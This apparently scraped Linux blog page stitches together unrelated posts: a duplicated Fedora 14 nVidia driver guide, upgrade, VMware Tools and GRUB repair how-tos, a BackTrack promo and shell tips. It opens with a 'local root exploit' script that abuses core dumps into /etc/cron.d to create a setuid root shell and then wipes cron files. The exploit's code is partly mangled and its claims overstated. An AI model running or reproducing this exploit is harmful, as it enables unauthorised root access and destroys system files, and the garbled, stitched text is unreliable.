Exploit Title: Linux 3.x.x Executable File Read Exploit

# Date: 6/26/12
# Version: 3.x.x
# Category:: Local Root Exploit
# Tested on: Linux, Ubuntu
# Demo site: [3 vulnerable site, this will speed up check]

#!/bin/sh
#
# 3.x.x local root exp By: Blade
# + effected systems 3.x.x
# tested on Intel(R) Xeon(TM) CPU 5.20GHz
# Works perfect on all linux distros and servers.
# maybe others …
# ~
# Use this at your own risk, I’m not responsible for any risk.
# sorchfox@hotmail.com

cat > /tmp/getsuid.c << __EOF__
#include
#include
#include
#include
#include
#include
#include
#include

char *payload=”nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/coren”;

int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
chdir(“/etc/cron.d”);
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__

cat > /tmp/s.c << __EOF__
#include
main(void)
{
setgid(0);
setuid(0);
system(“/bin/sh”);
system(“rm -rf /tmp/s”);
system(“rm -rf /etc/cron.d/*”);
return 0;
}
__EOF__
echo “wait aprox 4 min to get sh”
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh

This is guide, howto install nVidia proprietary drivers on Fedora 14 and disable Nouveau driver.

 

I write this guide about two weeks ago, but I Delayed the publication of this guide, because of pyxf86config bug, which cause following livna-config-display errors on boot:


Checking for module nvidia.ko: [ OK ]
Enabling the nvidia driver: Traceback (most recent call last):
File “/usr/sbin/nvidia-config-display”, line 28, in
import livnaConfigDisplay.ConfigDisplay
File “/usr/lib/python2.7/site-packages/livnaConfigDisplay/ConfigDisplay.py”, line 29, in
import xf86config
File “/usr/lib/python2.7/site-packages/xf86config.py”, line 1, in
import ixf86config
ImportError: /usr/lib/python2.7/site-packages/ixf86configmodule.so: undefined symbol: xstrtokenize
[FAILED]

But now, on my own testing and others testing, everything seems to work well with pyxf86config and livna-config-display when pyxf86config bug has been fixed.

This guide works with GeForce 6/7/8/9/200/300 series cards and also with GeForce FX cards.

Install nVidia proprietary drivers on Fedora 14 and disable the nouveau driver

1. Change root user

su -
## OR ##
sudo -i

2. Make sure that you are running latest kernel

If not then update kernel and reboot

yum update kernel*
reboot

3. Add RPMFusion Repositories (Free and Non-Free)

rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm

4. Install nVidia proprietary drivers

4a. Install nVidia proprietary drivers for GeForce 6/7/8/9/200/300 series cards

Select kmodkmod-PAE or akmod from following.

kmod-nvidia

yum install kmod-nvidia xorg-x11-drv-nvidia-libs

or

kmod-nvidia-PAE kernel

yum install kmod-nvidia-PAE

or

akmod-nvidia

yum install akmod-nvidia xorg-x11-drv-nvidia-libs

kmod works fine for most people, but it doesn’t work on systems with different kernel

  • like a self-compiled kernel
  • an older Fedora kernel
  • the quickly changing kernels from updates-testing/rawhide

Full spec of kmod and akmod differences, check this.

4b. Install nVidia proprietary drivers for GeForce FX cards

Select kmodkmod-PAE or akmod from following.

kmod-nvidia and kmod-nvidia-PAE

yum --enablerepo=rpmfusion-nonfree-updates-testing install kmod-nvidia-173xx xorg-x11-drv-nvidia-173xx-libs.i686

or

kmod-nvidia-PAE kernel

yum --enablerepo=rpmfusion-nonfree-updates-testing  install kmod-nvidia-173xx-PAE

or

akmod-nvidia

yum --enablerepo=rpmfusion-nonfree-updates-testing install akmod-nvidia-173xx xorg-x11-drv-nvidia-173xx-libs.i686

kmod works fine for most people, but it doesn’t work on systems with different kernel

  • like a self-compiled kernel
  • an older Fedora kernel
  • the quickly changing kernels from updates-testing/rawhide

Full spec of kmod and akmod differences, check this.

5. Check /etc/X11/xorg.conf file

This should not be necessary, but I recommend this, because of pyxf86config bug.

Open /etc/X11/xorg.conf file and check following rows:
32-bit

Section "Files"
    ModulePath   "/usr/lib/xorg/modules/extensions/nvidia"
    ModulePath   "/usr/lib/xorg/modules"
EndSection

64-bit

Section "Files"
    ModulePath   "/usr/lib64/xorg/modules/extensions/nvidia"
    ModulePath   "/usr/lib64/xorg/modules"
EndSection

If section files is missing then it have to be added manually.

6. Check /boot/grub/grub.conf file

This should not be necessary, but missing rdblacklist=nouveau nouveau.modeset=0 is the most common reason which causes black screen / blank screen on boot with nVidia drivers. So it’s good to check followin also. 😉

Open /boot/grub/grub.conf file and check that the kernel row have following rdblacklist=nouveau nouveau.modeset=0:

title Fedora (2.6.35.6-48.fc14.i686)
        root (hd0,0)
        kernel /vmlinuz-2.6.35.6-48.fc14.i686 .... rdblacklist=nouveau nouveau.modeset=0
        initrd /initramfs-2.6.35.6-48.fc14.i686.img

7. Finally all is done and then reboot

reboot

Please let me know if you have some problems with nVidia drivers installation. You could also tell you if you got the drivers installed using this guide and what graphics card you have?

This is guide, howto install nVidia proprietary drivers on Fedora 14 and disable Nouveau driver. I write this guide about two weeks ago, but I Delayed the publication of this guide, because of pyxf86config bug, which cause following livna-config-display errors on boot:

Checking for module nvidia.ko: [ OK ]
Enabling the nvidia driver: Traceback (most recent call last):
File “/usr/sbin/nvidia-config-display”, line 28, in
import livnaConfigDisplay.ConfigDisplay
File “/usr/lib/python2.7/site-packages/livnaConfigDisplay/ConfigDisplay.py”, line 29, in
import xf86config
File “/usr/lib/python2.7/site-packages/xf86config.py”, line 1, in
import ixf86config
ImportError: /usr/lib/python2.7/site-packages/ixf86configmodule.so: undefined symbol: xstrtokenize
[FAILED]

But now, on my own testing and others testing, everything seems to work well with pyxf86config and livna-config-display when pyxf86config bug has been fixed.

This guide works with GeForce 6/7/8/9/200/300 series cards and also with GeForce FX cards.

Install nVidia proprietary drivers on Fedora 14 and disable the nouveau driver

1. Change root user

su -
## OR ##
sudo -i

2. Make sure that you are running latest kernel

If not then update kernel and reboot

yum update kernel*
reboot

3. Add RPMFusion Repositories (Free and Non-Free)

rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm

4. Install nVidia proprietary drivers

4a. Install nVidia proprietary drivers for GeForce 6/7/8/9/200/300 series cards

Select kmodkmod-PAE or akmod from following.

kmod-nvidia

yum install kmod-nvidia xorg-x11-drv-nvidia-libs

or

kmod-nvidia-PAE kernel

yum install kmod-nvidia-PAE

or

akmod-nvidia

yum install akmod-nvidia xorg-x11-drv-nvidia-libs

kmod works fine for most people, but it doesn’t work on systems with different kernel

  • like a self-compiled kernel
  • an older Fedora kernel
  • the quickly changing kernels from updates-testing/rawhide

Full spec of kmod and akmod differences, check this.

4b. Install nVidia proprietary drivers for GeForce FX cards

Select kmodkmod-PAE or akmod from following.

kmod-nvidia and kmod-nvidia-PAE

yum --enablerepo=rpmfusion-nonfree-updates-testing install kmod-nvidia-173xx xorg-x11-drv-nvidia-173xx-libs.i686

or

kmod-nvidia-PAE kernel

yum --enablerepo=rpmfusion-nonfree-updates-testing  install kmod-nvidia-173xx-PAE

or

akmod-nvidia

yum --enablerepo=rpmfusion-nonfree-updates-testing install akmod-nvidia-173xx xorg-x11-drv-nvidia-173xx-libs.i686

kmod works fine for most people, but it doesn’t work on systems with different kernel

  • like a self-compiled kernel
  • an older Fedora kernel
  • the quickly changing kernels from updates-testing/rawhide

Full spec of kmod and akmod differences, check this.

5. Check /etc/X11/xorg.conf file

This should not be necessary, but I recommend this, because of pyxf86config bug.

Open /etc/X11/xorg.conf file and check following rows:
32-bit

Section "Files"
    ModulePath   "/usr/lib/xorg/modules/extensions/nvidia"
    ModulePath   "/usr/lib/xorg/modules"
EndSection

64-bit

Section "Files"
    ModulePath   "/usr/lib64/xorg/modules/extensions/nvidia"
    ModulePath   "/usr/lib64/xorg/modules"
EndSection

If section files is missing then it have to be added manually.

6. Check /boot/grub/grub.conf file

This should not be necessary, but missing rdblacklist=nouveau nouveau.modeset=0 is the most common reason which causes black screen / blank screen on boot with nVidia drivers. So it’s good to check followin also. 😉

Open /boot/grub/grub.conf file and check that the kernel row have following rdblacklist=nouveau nouveau.modeset=0:

title Fedora (2.6.35.6-48.fc14.i686)
        root (hd0,0)
        kernel /vmlinuz-2.6.35.6-48.fc14.i686 .... rdblacklist=nouveau nouveau.modeset=0
        initrd /initramfs-2.6.35.6-48.fc14.i686.img

7. Finally all is done and then reboot

reboot

Please let me know if you have some problems with nVidia drivers installation. You could also tell you if you got the drivers installed using this guide and what graphics card you have?

How-to-upgrade-fedora-using-preupgrade/

Coming from a Debian background, upgrading to new releases is second nature. Unfortunately, Fedora doesn’t seem to have it quite as down pat. Nevertheless, it’s possible and works quite well (but there are pitfalls, so read on).

While upgrading via PackageKit is coming, there’s a pretty decent way of doing it with PreUpgrade.

First, update your current system:
yum update

Install preupgrade:
yum install preupgrade

Run the preupgrade tool, and follow the prompts (remote upgrades over VNC also supported):
preupgrade

PreUpgrade will prompt to reboot your computer and will update your system automatically. All of your packages should be updated and your repositories configured for you (I also had RPMFusion, Chromium and yum-rawhide which all updated as expected). On one of my systems, even the NVIDIA driver was automatically updated and configured. Now you’re booted into your new Fedora 14 system.

OK, this is where things get a little tricky. Some packages might be no-longer supported, there might be removed dependencies and the like. So, there are two neat commands that we will use to identify these packages, so that you can remove them.

package-cleanup --orphans
package-cleanup --leaves

But wait.. I discovered that there’s a more important step to do first, or you’ll cause yourself a headache!

On my machine, this wanted to remove some pretty important packages, like kdelibs.
[username@shem ~]$ sudo package-cleanup --orphans
[sudo] password for username:
Loaded plugins: refresh-packagekit, remove-with-leaves
akonadi-1.4.0-3.fc13.x86_64
kdeedu-marble-4.5.2-2.fc13.x86_64
kdeedu-marble-libs-4.5.2-2.fc13.x86_64
kdelibs-4.5.2-8.fc13.x86_64
kdelibs-common-4.5.2-8.fc13.x86_64
schroedinger-1.0.10-1.fc13.x86_64
xorg-x11-drv-wacom-0.10.8-2.fc13.x86_64

Fedora (unlike certain other distros I know) provides major updates to the latest versions of packages (like OpenOffice.org, KDE, GNOME, etc). Yay! It’s possible that your new Fedora system is running the same version of, say KDE, as your old one. This was indeed the case with my Fedora 13 to 14 upgrade (both run KDE 4.5.2 at time of F14 release).

Actually, the build of some important packages on Fedora 13 (like kdelibs-4.5.2-8.fc13.x86_64) were actually more recent than on the newer Fedora 14 system (kdelibs-4.5.2-5.fc14.x86_64).

The package-cleanup tool correctly lists kdelibs-4.5.2-8.fc13.x86_64 as being an orphan and if you were to remove this, you’d break your system badly. In fact, if you’re running yum’s brilliant new autoremove deps feature, as I am, you’ll lose most of your system. It makes sense – you are telling yum to remove kdelibs, so it goes and removes everything that relies on it! Yikes.

So first, we need to fix this by running the yum distro-sync command which recognises that we need to downgrade that kdelibs packages (and not remove it!).

[chris@shem ~]$ sudo yum distro-sync
Loaded plugins: refresh-packagekit, remove-with-leaves
Setting up Distribution Synchronization Process
Resolving Dependencies
--> Running transaction check
---> Package akonadi.x86_64 0:1.4.0-1.fc14 will be a downgrade
---> Package akonadi.x86_64 0:1.4.0-3.fc13 will be erased
---> Package kdeedu-marble.x86_64 0:4.5.2-1.fc14 will be a downgrade
---> Package kdeedu-marble.x86_64 0:4.5.2-2.fc13 will be erased
---> Package kdeedu-marble-libs.x86_64 0:4.5.2-1.fc14 will be a downgrade
---> Package kdeedu-marble-libs.x86_64 0:4.5.2-2.fc13 will be erased
---> Package kdelibs.x86_64 6:4.5.2-5.fc14 will be a downgrade
---> Package kdelibs.x86_64 6:4.5.2-8.fc13 will be erased
---> Package kdelibs-common.x86_64 6:4.5.2-5.fc14 will be a downgrade
---> Package kdelibs-common.x86_64 6:4.5.2-8.fc13 will be erased
---> Package schroedinger.x86_64 0:1.0.9-2.fc14 will be a downgrade
---> Package schroedinger.x86_64 0:1.0.10-1.fc13 will be erased
---> Package xorg-x11-drv-wacom.x86_64 0:0.10.8-1.20100726.fc14 will be a downgrade
---> Package xorg-x11-drv-wacom.x86_64 0:0.10.8-2.fc13 will be erased
--> Finished Dependency Resolution
--> Finding unneeded leftover dependencies
Found and removing 0 unneeded dependencies
----
Dependencies Resolved
=================================================
Package Arch Version Repository Size
=================================================
Downgrading:
akonadi x86_64 1.4.0-1.fc14 fedora 677 k
kdeedu-marble x86_64 4.5.2-1.fc14 fedora 14 M
kdeedu-marble-libs x86_64 4.5.2-1.fc14 fedora 902 k
kdelibs x86_64 6:4.5.2-5.fc14 fedora 12 M
kdelibs-common x86_64 6:4.5.2-5.fc14 fedora 1.7 M
schroedinger x86_64 1.0.9-2.fc14 fedora 276 k
xorg-x11-drv-wacom x86_64 0.10.8-1.20100726.fc14 fedora 73 k
---
Transaction Summary
=================================================
Downgrade 7 Package(s)
---
Total download size: 30 M
Is this ok [y/N]

Once we downgrade these packages, we can then remove any other orphans we might have, with package-cleanup –leaves and package-cleanup –orphans (I didn’t have any). One last thing to note – Fedora will not replace packages from the newer release if they are exactly the same version. For this reason, you will probably have some F13 packages still installed on your computer – don’t worry, that’s correct. They will be upgraded in time (if required).

So, now I think I know how to successfully upgrade the system without breaking it :-) If anyone has some other tips or corrections, please let me know! Hope that’s helpful.

VMware Tools on Ubuntu

HowTo: VMware Tools on Ubuntu 8.10 Server


I managed to install VMware Tools on Ubuntu 8.10 Server build 110271. It was complicated so I thought I’d share because you just can’t find a good guide for 8.10 at the moment. Now When you define your VM, set the network adapter to be E1000 at first.
INSTALLING THE OS
Start the virtual machine and in the console select the language and press F4 to change the mode to Install a minimum virtual machine. Press Enter to start the installation.
Select the following items from the desired services (this is for what I intend to do with my server, you might need different options):

  • Basic Ubuntu server
  • OpenSSH server
  • Samba file server
  • Virtual Machine host
  • Lamp server

Don’t forget to install raid if you need it and attach all your drives.
Log into the machine and update it with: your details

Code:

sudo apt-get update
sudo apt-get upgrade

I also added fluxBox and Webmin for extra ease of use, you may want to check these out!

INSTALL THE VMWARE TOOLS

According to Peter Cooper and many other posts out there, there is a problem compiling VMware tools in Ubuntu. So we will follow the workaround using parts of the open source tools.

Install dependency for VMware Tools:

Code:

sudo apt-get install build-essential linux-headers-$(uname -r) psmisc
sudo apt-get install gcc binutils make wget

And for the hack with the open tools I also installed the following (although some of these were found on sites describing what’s needed for Ubuntu with a GUI, some might be unnecessary):

Code:

sudo apt-get install libgtk2.0-dev
sudo apt-get install libproc-dev libdumbnet-dev xorg-dev
cd /tmp
sudo mkdir liburiparser
cd liburiparser
sudo wget http://ftp.ie.debian.org/debian/pool/main/u/uriparser/liburiparser1_0.7.2-0exp1_amd64.deb
sudo wget http://ftp.ie.debian.org/debian/pool/main/u/uriparser/liburiparser-dev_0.7.2-0exp1_amd64.deb
sudo dpkg -i liburiparser1_0.7.2-0exp1_amd64.deb
sudo dpkg –i liburiparser-dev_0.7.2-0exp1_amd64.deb
sudo apt-get install libicu-dev

Go to /tmp and download the open source version of the tools from here.

Code:

.tar.gz?modtime=1227030450&big_mirror=0

Unpack and build the open-vm-tools:

Code:

sudo tar xzvf open-vm-tools*.gz
cd open-vm-tools-2008.11.18-130226
sudo ./configure --includedir=/usr/include/uriparser
sudo make

In the VMware management console, right click on the VM and tell VMware to install the VM tools then copy the tools:

Code:

sudo mount /media/cdrom0
sudo cp -a /media/cdrom0/VMwareTools*.gz /tmp/
cd /tmp/
sudo tar -xzvf VMwareTools*.gz

From the open source modules/linux folder we have the vmblock, vmhgfs, vmmemctl, vmsync and vmxnet modules that we need to tar up and place into the official VMware tools tarball:

Code:

cd /tmp/open-vm-tools-2008.11.18-130226/modules/linux/
for i in *; do sudo mv ${i} ${i}-only; sudo tar -cf ${i}.tar ${i}-only; done
cd ../../..
sudo mv -f open-vm-tools-2008.11.18-130226/modules/linux/*.tar vmware-tools-distrib/lib/modules/source/

Now we can run the regular VMware tools installer accepting all the defaults:

Code:

cd /tmp/vmware-tools-distrib/
sudo ./vmware-install.pl

Activate the vmxnet drivers:

Code:

sudo /etc/init.d/networking stop
sudo depmod –a
sudo modprobe vmxnet 
sudo /etc/init.d/networking start

Shutdown with sudo

Code:

init 0

and in the management console edit the VM settings, delete the Network Adapter that was previously created and create new ones with vmxnet settings.
Start the VM and this step should be complete.

Reinstall Ubuntu after Windows wipes it out!

If your install of Linux is a dual boot setup with windows you have run into this problem before.  You reinstall windows and suddenly you can no longer access your Linux partition or the Grub bootloader. You can always go through the entire install of Ubuntu again, or you can try to repair the bootload, but how do you repair the bootloader?

Well if you have the live CD for which ever distro you are using (that installed Grub) it is quite easy and can save you hours of reconfiguration as well as install time.
1. Find your Live CD and boot it up (set your BIOS to boot from CD first, or if your BIOS allows it you can select the boot device.
2. After the Live CD does its thing you will need to open a terminal screen and type in the command: sudo grub.  This command will bring you into the grub prompt

3. Type the following commands assuming sda0 is which ever partition you are using (hd0,0 would be first hard drive and first prompt, hd1,1 would be the second hard drive and second partition).

> root (hd0,0)
> setup (hd0)
> exit

4. Reboot the system and remember to remove your Live CD before your system reboots

5. At reboot you should now see the Grub boot loader along with all your previous setting.

If with the new setup you now see Ubuntu but no longer see a windows menu item follow the following steps.

If Ubuntu was installed before your Windows version there will be no information in the Grub configuration for your windows setup. To get windows setup in Grub you will need to do a bit more tweeking.

Boot into Ubuntu and run the following command:
sudo gedit /boot/grub/menu.lst

Inside this file you will see an example for a windows choice for when Grub runs.  *COPY* the example and remove the “#” from the beginning of each line

# title   Windows 95/98/NT/2000
# root   (hd0,0)
# makeactive
# chainloader   +1
Remember you will need to change the hd0,0 to which ever if your windows partition, it may take a few try’s, but if you were able to select the correct partition for Linux when resetting up Grub you should be able to figure out the correct partition for Windows.

BackTrack Live Linux OS

WELL HELLO THERE

BackTrack is the most Top rated Linux live distribution focused on penetration testing. With no installation whatsoever, the analysis platform is started directly from the CD-Rom and is fully accessible within minutes.
It’s evolved from the merge of the two wide spread distributions – Whax and Auditor Security Collection. By joining forces and replacing these distributions, BackTrack has gained massive popularity and was voted in 2006 as the #1 Security Live Distribution by insecure.org. Security professionals as well as new comers are using BackTrack as their favourite toolset all over the globe.
BackTrack has a long history and was based on many different Linux distributions until it is now based on a Slackware Linux distribution and the corresponding live-CD scripts by Tomas M. (www.slax.org) . Every package, kernel configuration and script is optimised to be used by security penetration testers. Patches and automation have been added, applied or developed to provide a neat and ready-to-go environment.
After coming into a stable development procedure during the last releases and consolidating feedbacks and addition, the team was focused to support more and newer hardware as well as provide more flexibility and modularity by restructuring the build and maintenance processes. With the current version, most applications are built as individual modules which help to speed up the maintenance releases and fixes.
Because Metasploit is one of the key tools for most analysts it is tightly integrated into BackTrack and both projects collaborate together to always provide an on-the-edge implementation of Metasploit within the BackTrack CD-Rom images or the upcoming remote-exploit.org distributed and maintained virtualisation images (like VMWare images appliances).
Being superior while staying easy to use is key to a good security live cd. We took things a step further and aligned BackTrack to penetration testing methodologies and assessment frameworks (ISSAF and OSSTMM). This will help our professional users during their daily reporting nightmares.
Currently BackTrack consists of more than 300 different up-to-date tools which are logically structured according to the work flow of security professionals. This structure allows even newcomers to find the related tools to a certain task to be accomplished. New technologies and testing techniques are merged into BackTrack as soon as possible to keep it up-to-date.
No other commercial or freely available analysis platform offers an equivalent level of usability with automatic configuration and focus on penetration testing.

So go and GET IT!!!!!!!

DownLoad

Linux Tips and Hacks

Here is some Linux hacks I will post more as the time progresses, please always remenber to BACKUP before hand and Enjoy.

How to export DISPLAY on windows comp from a linux comp which is accessible from some router linux comp(for windows users only)
Suppose you are working on 10.8.11.1 and you go to 10.8.11.3 via 10.8.11.2, then to open graphical applications of 10.8.11.3 on 10.8.11.1, follow these steps:
1. start Xwin32 (on 10.8.11.1)
2. ssh to 10.8.1.2
3. export DISPLAY=10.8.11.1:0.0
4. vncserver (it will promt for a passwd, set the passwd)
5. start remote destop connection as server 10.8.11.2:1
6. xhost + (on 10.8.11.2)
7. ssh to 10.8.11.3 from 10.8.11.2
8. export DISPLAY=10.8.11.2:1 (on 10.8.11.3)
9. start any application.

How to build an rpm
a) from SRPM
Install the .src.rpm file this way:
$ rpm -i somepackage-1.0-1.src.rpm
This will create files in /usr/src/redhat/SOURCES and a .spec file in /usr/src/redhat/SPECS.
Then go the SPECS directory and give the command to build the RPM:
$ cd /usr/src/redhat/SPECS
$ rpmbuild -bb somepackage.spec
b) from source package
When a source archive (e.g., somepackage-1.0.tar.gz) contains a .spec file, one can give the following command to build the RPM without having to deploy the archive:
$ rpmbuild -tb somepackage-1.0.tar.gz
Give the -ta option instead if you also want to build the SRPM.

To send message from linux to windows
$ smbclient -M <hostname> -I <ip-address>
And to find hostname
$ nmblookup -A <ip-address>